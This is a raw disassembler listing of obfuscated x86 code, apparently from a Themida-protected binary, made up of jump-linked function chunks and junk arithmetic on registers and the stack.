sub edx, esi
pop esi
jmp loc_569B06
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_56202E proc near ; CODE XREF: sub_562ABA+8AD8j
push ebx
mov ebx, 2D770364h
push ecx
mov ecx, 468E65CFh
jmp loc_56D99E
sub_56202E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56203F: ; CODE XREF: sub_562ABA+C32j
mov edi, esp
add edi, 4
add edi, 4
jmp loc_56C59D
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_56A0B6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56205B: ; CODE XREF: sub_562ABA+1B24j
mov edx, esp
jmp loc_570796
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
lodsd
push edi
push eax
jmp loc_56D5B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56206A: ; CODE XREF: sub_562ABA+A25Ej
push edx
mov dl, 0D1h
xor dl, 0CBh
or dl, 7Ah
sub dl, 7Ch
sub ah, dl
jmp loc_560682
; ---------------------------------------------------------------------------
loc_56207D: ; CODE XREF: sub_562ABA+D76Aj
idiv cl
jmp loc_55F2B8
; ---------------------------------------------------------------------------
loc_562084: ; CODE XREF: sub_562ABA+A77Aj
mov edi, 6A6A5A3Ch
jmp loc_56D482
; ---------------------------------------------------------------------------
loc_56208E: ; CODE XREF: sub_562ABA+1D1j
add edx, ebp
mov ebp, [esp+12h+var_12]
add esp, 4
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56209E: ; CODE XREF: sub_562ABA+46DBj
xor ebx, 1AA13955h
jmp loc_56E4AF
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_5620A9 proc near ; CODE XREF: sub_562ABA+A732j
push ebp
mov ebp, 4
jmp loc_56E215
sub_5620A9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5620B4: ; CODE XREF: sub_562ABA+B380j
xor ecx, [esp+0]
jmp loc_567406
; ---------------------------------------------------------------------------
loc_5620BC: ; CODE XREF: sub_562ABA+370Cj
pop esi
xor ebx, [esp+0Ah+var_C+2]
xor [esp+0Ah+var_C+2], ebx
xor ebx, [esp+0Ah+var_C+2]
pop esp
sub esp, 4
mov [esp+0Ah+var_C+2], ebx
mov ebx, 40B73419h
push edx
mov edx, 59245397h
and ebx, edx
pop edx
shr ebx, 1
push 144Ch
mov [esp+0], ebx
jmp loc_56B413
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
lodsd
push ebp
push edx
jmp loc_5680D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5620F5: ; CODE XREF: sub_562ABA+51C3j
xor ebx, [esp+0]
pop esp
sub ebx, 38F318A0h
push edx
mov edx, 3F384061h
jmp loc_568C4B
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E4D4
loc_56210A: ; CODE XREF: sub_55E4D4+9j
xor ebp, 65700697h
add esi, ebp
jmp loc_55F3BD
; END OF FUNCTION CHUNK FOR sub_55E4D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_562117: ; CODE XREF: sub_562ABA+4D87j
sub ecx, 124661B0h
sub ecx, 1
not ecx
dec ecx
xor ecx, 11F25E1Fh
sub ebx, 703567F0h
sub ebx, 157D0B13h
add ebx, ecx
add ebx, 157D0B13h
add ebx, 703567F0h
mov ecx, [esp+0]
add esp, 4
push eax
sub esp, 4
mov [esp+12h+var_12], edi
jmp loc_56E51E
; ---------------------------------------------------------------------------
loc_562158: ; CODE XREF: sub_562ABA+DF82j
push esi
mov esi, 1E362538h
or esi, 3F4C60AAh
sub esp, 4
mov [esp+1Ah+var_1A], edi
jmp loc_571FE0
; ---------------------------------------------------------------------------
loc_562172: ; CODE XREF: sub_562ABA+6664j
push 6231h
jmp loc_568C52
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_56217C proc near ; CODE XREF: sub_562ABA-3E2Ej
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, esp
push edx
mov edx, 2A76A21h
shl edx, 4
sub edx, 2A76A20Ch
add ebx, edx
jmp loc_5715F6
sub_56217C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56219A: ; CODE XREF: sub_562ABA+6DF6j
mov edx, ebp
jmp loc_568846
; ---------------------------------------------------------------------------
loc_5621A1: ; CODE XREF: sub_562ABA+81BCj
pop edx
add ebx, eax
add ebx, 244E4C8Eh
pop small word ptr [eax]
jmp loc_55EDA1
; ---------------------------------------------------------------------------
loc_5621B2: ; CODE XREF: sub_562ABA+E10j
pop ebp
add esp, 4
push dword ptr [edi+1Ch]
push [esp+14h+var_16+2]
push [esp+18h+var_1A+2]
jmp loc_569DC5
; ---------------------------------------------------------------------------
loc_5621C4: ; CODE XREF: sub_562ABA+97E0j
pop ebx
push ebx
mov ebx, 4
add ecx, 6E2F0F38h
add ecx, ebx
sub ecx, 6E2F0F38h
pop ebx
jmp loc_56D32A
; ---------------------------------------------------------------------------
loc_5621DF: ; CODE XREF: sub_562ABA+A817j
pop ecx
push 63A0h
mov [esp+18h+var_1A+2], edi
mov edi, esp
add edi, 4
jmp loc_56971A
; ---------------------------------------------------------------------------
loc_5621F5: ; CODE XREF: sub_562ABA+B4D1j
mov [esp+18h+var_1A+2], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push [esp+1Ch+var_1A+2]
pop ebx
pop [esp+1Ch+var_1E+2]
pop esp
push 2B64h
jmp loc_563A6D
; ---------------------------------------------------------------------------
loc_562217: ; CODE XREF: sub_562ABA+DF7Bj
add edx, ecx
mov ecx, [esp+18h+var_1A+2]
push eax
mov eax, esp
jmp loc_5680B2
; ---------------------------------------------------------------------------
loc_562224: ; CODE XREF: sub_562ABA+EB9Bj
pop [esp+1Ch+var_1E+2]
pop esp
; END OF FUNCTION CHUNK FOR sub_562ABA
; START OF FUNCTION CHUNK FOR sub_55FCA5
loc_562228: ; CODE XREF: sub_55FCA5+152j
; sub_562ABA:loc_561A3Aj
mov ebx, [esp+0]
jmp loc_568611
; END OF FUNCTION CHUNK FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_562230: ; CODE XREF: sub_562ABA+9453j
xor esi, [esp+14h+var_16+2]
pop esp
push ebx
mov ebx, 154F5C3Eh
dec ebx
jmp loc_564C7E
; ---------------------------------------------------------------------------
loc_562240: ; CODE XREF: sub_562ABA-1A35j
xor edx, [esp+2Ah+var_2C+2]
mov esp, [esp+2Ah+var_2C+2]
sub word ptr [esp+2Ah+var_2C+2], ax
pushf
jmp loc_55E09F
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56017F
loc_562250: ; CODE XREF: sub_56017F+17j
push edi
mov edi, 4
add [esp+4], edi
jmp loc_572A9B
; END OF FUNCTION CHUNK FOR sub_56017F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56225F: ; CODE XREF: sub_562ABA+47C0j
push esi
mov esi, 11D90CF7h
neg esi
shl esi, 5
xor esi, 9F5F468Dh
xor ebp, esi
pop esi
neg ebp
xchg ecx, ebp
dec ecx
push ebp
push ecx
pop ebp
pop ecx
shl ebp, 6
push esi
mov esi, 15FE2194h
jmp loc_56719A
; ---------------------------------------------------------------------------
loc_56228A: ; CODE XREF: sub_562ABA+DA76j
pop eax
add ebx, ecx
mov ecx, [esp+0]
add esp, 4
shl ebx, 1
push 52B1h
mov [esp+0], edx
push ecx
mov ecx, 144446F0h
sub esp, 4
jmp loc_567C20
; ---------------------------------------------------------------------------
loc_5622AE: ; CODE XREF: sub_562ABA+D4EDj
mov ecx, 4
sub edi, ecx
pop ecx
jmp loc_567B9A
; ---------------------------------------------------------------------------
loc_5622BB: ; CODE XREF: sub_562ABA+37EBj
mov esi, eax
pop eax
mov ebx, esi
pop esi
mov ebp, [esp+2Ah+var_2C+2]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_562446
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
push small 4068h
push sp
jmp loc_561498
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5622DD: ; CODE XREF: sub_562ABA-390Ej
mov edx, [esp+42h+var_42]
add esp, 4
push 5341h
mov [esp+42h+var_42], edx
push edi
mov edi, 2
jmp loc_5616B5
; ---------------------------------------------------------------------------
loc_5622F9: ; CODE XREF: sub_562ABA+3FCFj
add ecx, ebp
jmp loc_56BACF
; ---------------------------------------------------------------------------
loc_562300: ; CODE XREF: sub_562ABA-44j
xchg ebp, ecx
jmp loc_563A9E
; ---------------------------------------------------------------------------
loc_562307: ; CODE XREF: sub_562ABA-517j
mov esi, esp
add esi, 4
add esi, 4
jmp loc_569241
; ---------------------------------------------------------------------------
loc_562317: ; CODE XREF: sub_562ABA+1691j
pop ebx
jmp loc_563522
; ---------------------------------------------------------------------------
loc_56231D: ; CODE XREF: sub_562ABA+FFA8j
mov ebx, 0FC91F390h
jmp loc_56CC2C
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F27A
loc_562327: ; CODE XREF: sub_55F27A+Fj
xor ebx, 8AB82F05h
add ecx, ebx
pop ebx
xchg ecx, [esp+0]
pop esp
push ecx
push edx
jmp loc_569220
; END OF FUNCTION CHUNK FOR sub_55F27A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56233B: ; CODE XREF: sub_562ABA+5F11j
mov eax, 52C16B36h
or eax, 1EA3468h
sub eax, 1AB37C14h
sub eax, 39380368h
jmp loc_56C48F
; ---------------------------------------------------------------------------
loc_562354: ; CODE XREF: sub_562ABA-415Aj
mov esi, 4
jmp loc_5602DF
; ---------------------------------------------------------------------------
loc_56235E: ; CODE XREF: sub_562ABA+957j
add esp, 4
add ch, 0FFh
push dx
jmp loc_55F4B6
; ---------------------------------------------------------------------------
loc_56236B: ; CODE XREF: sub_562ABA-1162j
pop esp
jmp loc_571437
; ---------------------------------------------------------------------------
loc_562371: ; CODE XREF: sub_562ABA+5FD6j
pop edi
push esi
mov esi, 4
add edi, esi
jmp loc_568785
; ---------------------------------------------------------------------------
loc_56237F: ; CODE XREF: sub_562ABA+5BB3j
sub ch, 63h
shr ch, 5
inc ch
jmp loc_56708C
; ---------------------------------------------------------------------------
loc_56238C: ; CODE XREF: sub_562ABA-2482j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_562391: ; CODE XREF: sub_562ABA+E3C4j
add esi, 4
xor esi, [esp+1Eh+var_1E]
jmp loc_568804
; ---------------------------------------------------------------------------
loc_56239C: ; CODE XREF: sub_562ABA-3C1Dj
push esp
pop [esp+3Eh+var_3E]
add [esp+3Ah+var_3A], 4
jmp loc_5729E2
; ---------------------------------------------------------------------------
loc_5623A9: ; CODE XREF: sub_562ABA+F93Fj
push esi
push esp
pop esi
push edi
jmp loc_565AC9
; ---------------------------------------------------------------------------
loc_5623B2: ; CODE XREF: sub_562ABA+8F41j
mov ebp, 2B9C11A0h
mov esi, ebp
push [esp+42h+var_42]
mov ebp, [esp+46h+var_46]
jmp loc_568927
; ---------------------------------------------------------------------------
loc_5623C4: ; CODE XREF: sub_562ABA+57F1j
mov bh, cl
push [esp+46h+var_46]
pop ecx
add esp, 4
jmp loc_56E2C7
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push ebp
jmp loc_56DC35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5623DB: ; CODE XREF: sub_562ABA+1E6Fj
mov ecx, 6906185h
sub ecx, 5D2054Ch
and ebp, ecx
jmp loc_569F73
; ---------------------------------------------------------------------------
loc_5623ED: ; CODE XREF: sub_562ABA+5F4Dj
add edi, ebx
add edi, 7EFA652Eh
push edx
mov edx, 2CEC111Bh
sub edi, edx
pop edx
mov ebx, [esp+42h+var_42]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+46h+var_46]
pop esp
xor edi, [esp+42h+var_42]
xor [esp+42h+var_42], edi
xor edi, [esp+42h+var_42]
mov esp, [esp+42h+var_42]
push 627Ah
mov [esp+46h+var_46], esi
jmp loc_571A07
; ---------------------------------------------------------------------------
loc_56242A: ; CODE XREF: sub_562ABA+6916j
pop ebp
add eax, edi
pop edi
add edx, eax
mov eax, [esp+3Eh+var_3E]
jmp loc_567722
; ---------------------------------------------------------------------------
loc_562438: ; CODE XREF: sub_562ABA-FACj
sub eax, 0B51226Fh
push [esp+12h+var_12]
pop edx
jmp loc_570314
; ---------------------------------------------------------------------------
loc_562446: ; CODE XREF: sub_562ABA-7EDj
add ebx, 4
xchg ebx, [esp+0]
pop esp
pop edx
sub eax, ebx
push [esp+26h+var_28+2]
mov ebx, [esp+2Ah+var_2C+2]
jmp loc_56B689
; ---------------------------------------------------------------------------
loc_56245B: ; CODE XREF: sub_562ABA+4B07j
mov ebx, edi
pop edi
or ecx, ebx
push [esp+26h+var_28+2]
pop ebx
add esp, 4
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+26h+var_28+2]
pop esp
mov [esp+22h+var_22], eax
mov eax, 163D537Dh
push ebx
jmp loc_56C25D
; ---------------------------------------------------------------------------
loc_562488: ; CODE XREF: sub_562ABA+DFBBj
push 56E1h
mov [esp+2Ah+var_2C+2], ecx
sub esp, 4
mov [esp+0], esi
mov esi, 308B0BD9h
mov ecx, 1ED26318h
add ecx, esi
mov esi, [esp+0]
add esp, 4
neg ecx
sub ecx, 35A7EF3h
push ebp
push ecx
mov ecx, 41CB3C1Ch
jmp loc_571B56
; ---------------------------------------------------------------------------
loc_5624C2: ; CODE XREF: sub_562ABA+94D4j
mov [esp+32h+var_32], edx
jmp loc_56F8EE
; ---------------------------------------------------------------------------
loc_5624CA: ; CODE XREF: sub_562ABA-4A4j
add ebp, 4
xchg ebp, [esp+32h+var_32]
mov esp, [esp+32h+var_32]
push ecx
push eax
mov eax, esp
push edx
mov edx, 38A53519h
xchg ebp, edx
push ebp
neg [esp+42h+var_42]
pop ebp
xchg ebp, edx
xor edx, 0C75ACAE3h
add eax, edx
pop edx
push edi
mov edi, 4
sub eax, edi
mov edi, [esp+3Eh+var_3E]
add esp, 4
xchg eax, [esp+3Ah+var_3A]
pop esp
mov [esp+36h+var_36], esp
add [esp+36h+var_36], 4
pop ecx
jmp loc_55F736
; ---------------------------------------------------------------------------
loc_562514: ; CODE XREF: sub_562ABA+4B8j
mov edx, 3A5C2E60h
add edi, edx
pop edx
jmp loc_57130A
; ---------------------------------------------------------------------------
loc_562521: ; CODE XREF: sub_562ABA+6C92j
mov [esp+0], edi
mov edi, esp
push ecx
mov ecx, 22406035h
inc ecx
xor ecx, 183C7026h
push eax
mov eax, 0F8872FCh
dec eax
and eax, 1340251Fh
jmp loc_5706AF
; ---------------------------------------------------------------------------
loc_562544: ; CODE XREF: sub_562ABA+CC79j
pop esi
push esi
mov esi, 98C69F46h
jmp loc_55E82B
; ---------------------------------------------------------------------------
loc_562550: ; CODE XREF: sub_562ABA+DA2Dj
inc eax
dec eax
jmp loc_5606C8
; ---------------------------------------------------------------------------
loc_562557: ; CODE XREF: sub_562ABA+656Bj
sub ebx, 1CED61BBh
xor eax, ebx
pop ebx
xor eax, 32762369h
neg eax
shr eax, 1
jmp loc_5669F1
; ---------------------------------------------------------------------------
loc_56256E: ; CODE XREF: sub_562ABA+63BAj
push eax
mov eax, 30D32736h
jmp loc_5617C0
; ---------------------------------------------------------------------------
loc_562579: ; CODE XREF: sub_562ABA+72Aj
mov ch, al
mov bl, ch
pop ecx
pop eax
add al, bl
mov bx, [esp+0]
jmp loc_56EE96
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
push small 58BFh
mov [esp], ax
jmp loc_55E09F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56259B: ; CODE XREF: sub_562ABA-1CB9j
push 5922h
mov [esp+46h+var_46], esi
jmp loc_562307
; ---------------------------------------------------------------------------
loc_5625A8: ; CODE XREF: sub_562ABA-255Cj
sub al, dh
pop edx
add al, 1Ah
jmp loc_565A2A
; ---------------------------------------------------------------------------
loc_5625B2: ; CODE XREF: sub_562ABA+D0A8j
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+2Ah+var_2C+2]
jmp loc_5601EF
; ---------------------------------------------------------------------------
loc_5625CC: ; CODE XREF: sub_562ABA+901Bj
pop ebp
push ebp
mov ebp, 2
add ecx, ebp
pop ebp
xor ecx, [esp+26h+var_28+2]
xor [esp+26h+var_28+2], ecx
xor ecx, [esp+26h+var_28+2]
jmp loc_56B608
; ---------------------------------------------------------------------------
loc_5625E4: ; CODE XREF: sub_562ABA+DCCAj
neg eax
jmp loc_570145
; ---------------------------------------------------------------------------
loc_5625EB: ; CODE XREF: sub_562ABA+1B94j
mov ecx, 4
add ebx, ecx
pop ecx
jmp loc_5695F9
; ---------------------------------------------------------------------------
loc_5625F8: ; CODE XREF: sub_562ABA+8684j
pop esp
jmp loc_5689F2
; ---------------------------------------------------------------------------
loc_5625FE: ; CODE XREF: sub_562ABA+6761j
pop esp
push ebx
mov bl, 3Fh
mov dl, 8
sub dl, bl
jmp loc_56E938
; ---------------------------------------------------------------------------
loc_56260B: ; CODE XREF: sub_562ABA+700Ej
mov [esp+1Eh+var_1E], ebp
mov ebp, esp
add ebp, 4
jmp loc_5624CA
; ---------------------------------------------------------------------------
loc_56261B: ; CODE XREF: sub_562ABA+C7F0j
mov ecx, [esp+1Eh+var_1E]
jmp loc_56EB51
; ---------------------------------------------------------------------------
loc_562623: ; CODE XREF: sub_562ABA+1BB8j
sub [esp+1Eh+var_16], edi
pop edi
add [esp+1Ah+var_16], 3615764h
jmp loc_55FB37
; ---------------------------------------------------------------------------
loc_562635: ; CODE XREF: sub_562ABA-3546j
push 6CB9h
mov [esp-0Ch+arg_8], ebx
jmp loc_55EB6D
; ---------------------------------------------------------------------------
loc_562642: ; CODE XREF: sub_562ABA+BE6Cj
mov [esp-0Ch+arg_8], eax
push ebp
jmp loc_562D5B
; ---------------------------------------------------------------------------
loc_56264B: ; CODE XREF: sub_562ABA+CBB3j
mov [esp-8+arg_4], ecx
mov ch, 76h
add dl, 23h
sub dl, ch
sub dl, 23h
pop ecx
push dx
mov dl, 79h
add al, dl
jmp loc_56AB54
; ---------------------------------------------------------------------------
loc_562664: ; CODE XREF: sub_562ABA+D045j
neg ebp
add ebp, 6E63103Fh
xchg edx, ebp
not edx
xchg edx, ebp
inc ebp
or ebp, 0BA35305h
jmp loc_561F2A
; ---------------------------------------------------------------------------
loc_56267E: ; CODE XREF: sub_562ABA+E723j
mov esp, [esp-0Ah+arg_4+2]
push esi
mov esi, 2D004C04h
add ebx, esi
pop esi
jmp loc_5666B4
; ---------------------------------------------------------------------------
loc_56268F: ; CODE XREF: sub_562ABA+4A13j
sub esi, 2B4DF89Bh
add edi, esi
pop esi
add ebx, edi
jmp loc_568E17
; ---------------------------------------------------------------------------
loc_56269F: ; CODE XREF: sub_562ABA-1102j
mov ebp, 0E3FD7EBEh
add edi, 4A1016B9h
sub edi, ebp
sub edi, 4A1016B9h
pop ebp
and edx, edi
pop edi
push ecx
mov ecx, 73282AC5h
jmp loc_55EE89
; ---------------------------------------------------------------------------
loc_5626C1: ; CODE XREF: sub_562ABA+93D4j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+16h+var_16]
pop esp
mov [esp+12h+var_12], edx
jmp loc_564002
; ---------------------------------------------------------------------------
loc_5626DB: ; CODE XREF: sub_562ABA+E9E8j
pop ecx
add edi, eax
pop eax
add edi, 69925EE7h
add edi, 0D2DDB6DDh
add ebx, edi
jmp loc_56EE81
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FC41
loc_5626F2: ; CODE XREF: sub_55FC41+4j
push esp
pop [esp+0Ch+var_C]
push esi
jmp loc_55EE73
; END OF FUNCTION CHUNK FOR sub_55FC41
; ---------------------------------------------------------------------------
lodsb
push 3A4Eh
mov [esp], ebx
sub esp, 4
jmp loc_563BDB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56270D: ; CODE XREF: sub_562ABA+3BBDj
pop edi
jmp loc_55E09F
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FCA5
loc_562713: ; CODE XREF: sub_55FCA5+44Aj
mov esi, 50B03951h
mov ebp, 2E2617BCh
xor ebp, esi
pop esi
xor esi, ebp
pop ebp
dec esi
push esi
jmp loc_56B0C5
; END OF FUNCTION CHUNK FOR sub_55FCA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56272A: ; CODE XREF: sub_562ABA+BDBj
push dword ptr [edi+eax*4]
mov eax, [esp+0Ah+var_C+2]
jmp loc_561B9D
; ---------------------------------------------------------------------------
loc_562735: ; CODE XREF: sub_562ABA+CE2Fj
pop eax
push esi
mov esi, esp
jmp loc_569365
; ---------------------------------------------------------------------------
loc_56273E: ; CODE XREF: sub_562ABA+DEC8j
push eax
mov eax, 4
mov edi, eax
pop eax
mov edx, edi
pop edi
sub edi, 786449EBh
jmp loc_566CA8
; ---------------------------------------------------------------------------
loc_562755: ; CODE XREF: sub_562ABA-4520j
mov [esp+36h+var_36], edx
sub esp, 4
jmp loc_5676F7
; ---------------------------------------------------------------------------
loc_562763: ; CODE XREF: sub_562ABA+F63Ej
push esi
inc [esp+3Eh+var_3E]
pop esi
or esi, 2C1C1022h
push 55F9h
mov [esp+3Eh+var_3E], ebp
mov ebp, 48F85C5Bh
inc ebp
jmp loc_56463C
; ---------------------------------------------------------------------------
loc_562781: ; CODE XREF: sub_562ABA+1430j
push edi
mov edi, 4B11308Eh
jmp loc_5612CF
; ---------------------------------------------------------------------------
loc_56278C: ; CODE XREF: sub_562ABA+3905j
push 403D1172h
pop ebp
push edi
mov edi, 0D2B259Dh
sub ebp, edi
jmp loc_562DBC
; END OF FUNCTION CHUNK FOR sub_562ABA
; =============== S U B R O U T I N E =======================================
sub_56279F proc near ; CODE XREF: sub_562ABA+1D57j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], edi
push esp
jmp loc_56B5E6
sub_56279F endp
; =============== S U B R O U T I N E =======================================
sub_5627AB proc near ; CODE XREF: sub_562ABA+2BDj
push ebp
push edi
pop ebp
jmp loc_56F656
sub_5627AB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5627B3: ; CODE XREF: sub_562ABA-11D5j
pop ebx
add esp, 4
pop ecx
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5627C0: ; CODE XREF: sub_562ABA+318j
pop eax
jmp loc_56F6C2
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
loc_5627C6: ; DATA XREF: Themida_:0055DDECo
pop small word ptr [edx]
jmp loc_55E09F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_5627CE: ; CODE XREF: sub_562ABA+676j
add esp, 4
jmp sub_55E85D
; ---------------------------------------------------------------------------
loc_5627D9: ; CODE XREF: sub_562ABA+4025j
mov eax, esi
pop esi
sub esi, eax
pop eax
sub esi, 4510091Fh
jmp loc_56E2D2
; ---------------------------------------------------------------------------
loc_5627EA: ; CODE XREF: sub_562ABA+72A1j
mov edx, 0C18CA2D6h
jmp loc_55F83D
; ---------------------------------------------------------------------------
loc_5627F4: ; CODE XREF: sub_562ABA+7984j
neg edi
xchg edi, ebx
push 3F46h
mov [esp+1Ah+var_1A], edi
jmp loc_5721D4
; ---------------------------------------------------------------------------
loc_562805: ; CODE XREF: sub_562ABA+52ADj
pop ebp
sub esi, 4
xor esi, [esp+16h+var_16]
xor [esp+16h+var_16], esi
xor esi, [esp+16h+var_16]
pop esp
mov [esp+12h+var_12], ecx
mov ecx, esp
push edi
push ecx
mov ecx, 3E003712h
mov edi, 0C1FFC8F2h
add edi, ecx
pop ecx
add ecx, edi
push [esp+16h+var_16]
jmp loc_567A4B
; ---------------------------------------------------------------------------
loc_562831: ; CODE XREF: sub_562ABA+9204j
push ecx
mov ecx, 0FFFFFFFFh
sub edi, ecx
pop ecx
push eax
mov eax, 78925B6Ah
push esi
jmp loc_56976B
; ---------------------------------------------------------------------------
loc_562846: ; CODE XREF: sub_562ABA+3EEj
dec ecx
and ecx, 0CEF0336h
jmp loc_563E75
; ---------------------------------------------------------------------------
loc_562852: ; CODE XREF: sub_562ABA+EF18j
mov edi, [esp+22h+var_22]
jmp loc_5629AF
; ---------------------------------------------------------------------------
loc_56285A: ; CODE XREF: sub_562ABA+D423j
add [esp+22h+var_22], 4
pop ecx
add ecx, 4
add ecx, 4
xor ecx, [esp+1Eh+var_1E]
xor [esp+1Eh+var_1E], ecx
xor ecx, [esp+1Eh+var_1E]
pop esp
mov edi, [esp+1Ah+var_1A]
push 2556h
mov [esp+1Eh+var_1E], eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp+1Eh+var_1E]
pop esp
pop esi
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_55E4B6
; ---------------------------------------------------------------------------
loc_5628A3: ; CODE XREF: sub_562ABA+9ACAj
pop ebx
jmp loc_56B084
; ---------------------------------------------------------------------------
loc_5628A9: ; CODE XREF: sub_562ABA-D69j
mov dh, ah
mov ch, dh
pop edx
mov eax, [esp+3Ah+var_3A]
add esp, 4
jmp loc_55EC97
; ---------------------------------------------------------------------------
loc_5628BC: ; CODE XREF: sub_562ABA+BCDFj
pop esi
xor edi, ecx
pop ecx
inc edi
jmp loc_569C48
; ---------------------------------------------------------------------------
loc_5628C6: ; CODE XREF: sub_562ABA+2667j
mov ebp, 4
add eax, ebp
mov ebp, [esp+0]
jmp loc_56B43C
; ---------------------------------------------------------------------------
loc_5628D5: ; CODE XREF: sub_562ABA-13DFj
pop ebx
xor ecx, [esp+26h+var_28+2]
jmp loc_56C9AA
; ---------------------------------------------------------------------------
loc_5628DE: ; CODE XREF: sub_562ABA+6385j
mov eax, esp
add eax, 4
sub esp, 4
mov [esp+2Ah+var_2C+2], ecx
push ebx
mov ebx, 29C50F71h
sub esp, 4
jmp loc_56394E
; ---------------------------------------------------------------------------
loc_5628FF: ; CODE XREF: sub_562ABA+C62Fj
add [esp+4], esi
push [esp+32h+var_32]
pop esi
jmp loc_560FA4
; ---------------------------------------------------------------------------
loc_56290C: ; CODE XREF: sub_562ABA+E097j
mov bh, 0C8h
jmp loc_56874E
; ---------------------------------------------------------------------------
loc_562913: ; CODE XREF: sub_562ABA-412Ej
mov [esp+26h+var_28+2], edx
push eax
push ecx
mov ecx, 0F410056h
sub ecx, 0BF63E9C0h
mov eax, ecx
jmp loc_56EB4B
; ---------------------------------------------------------------------------
loc_56292A: ; CODE XREF: sub_562ABA+23C9j
mov edx, [esp+0]
add esp, 4
push esi
mov esi, 4
add edx, 0B88215Eh
add edx, esi
sub edx, 0B88215Eh
pop esi
add edx, 4
xchg edx, [esp+2Ah+var_2C+2]
jmp loc_56AAA7
; END OF FUNCTION CHUNK FOR sub_562ABA
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_5677DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562ABA
loc_56295E: ; CODE XREF: sub_562ABA+ED52j
add ebx, 67E05C46h
sub ebx, 22C86319h
add ebx, 370032D6h
sub esp, 4
mov [esp], edx
jmp loc_56ED93
; ---------------------------------------------------------------------------
loc_56297E: ; CODE XREF: sub_562ABA+DABCj
sub bl, 0C3h
push eax
mov al, 0E5h
neg al
sub al, 4Fh
add bl, al
pop eax
mov eax, [esp+0]
add esp, 4
xor bl, 79h
sub ch, bl
jmp loc_5677F1
; ---------------------------------------------------------------------------
loc_56299E: ; CODE XREF: sub_562ABA+DD67j
dec bl
push dx
mov dh, bl
not dh
mov bl, dh
pop dx
jmp loc_564D1F
; ---------------------------------------------------------------------------
loc_5629AF: ; CODE XREF: sub_562ABA-265j
add esp, 4
sub esp, 4
mov [esp+22h+var_22], ebp
mov ebp, esp
sub esp, 4
mov [esp+26h+var_28+2], ebx
mov ebx, 4
add ebp, 507A2C95h
add ebp, ebx
sub ebp, 507A2C95h
mov ebx, [esp+26h+var_28+2]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+2Ah+var_2C+2]
pop esp
push esi
mov esi, 4
add ebp, 1CBA4326h
add ebp, esi
sub ebp, 1CBA4326h
pop esi
xchg ebp, [esp+26h+var_28+2]
mov esp, [esp+26h+var_28+2]
add ebx, 3E530994h
push ecx
jmp loc_56608E
; ---------------------------------------------------------------------------
loc_562A13: ; CODE XREF: sub_562ABA-43C7j
push 4BC0h
mov [esp+26h+var_28+2], ecx
mov ecx, 4
sub eax, 66CB7CACh
sub eax, 0C296BB2h
add eax, ecx
jmp loc_56C5FF
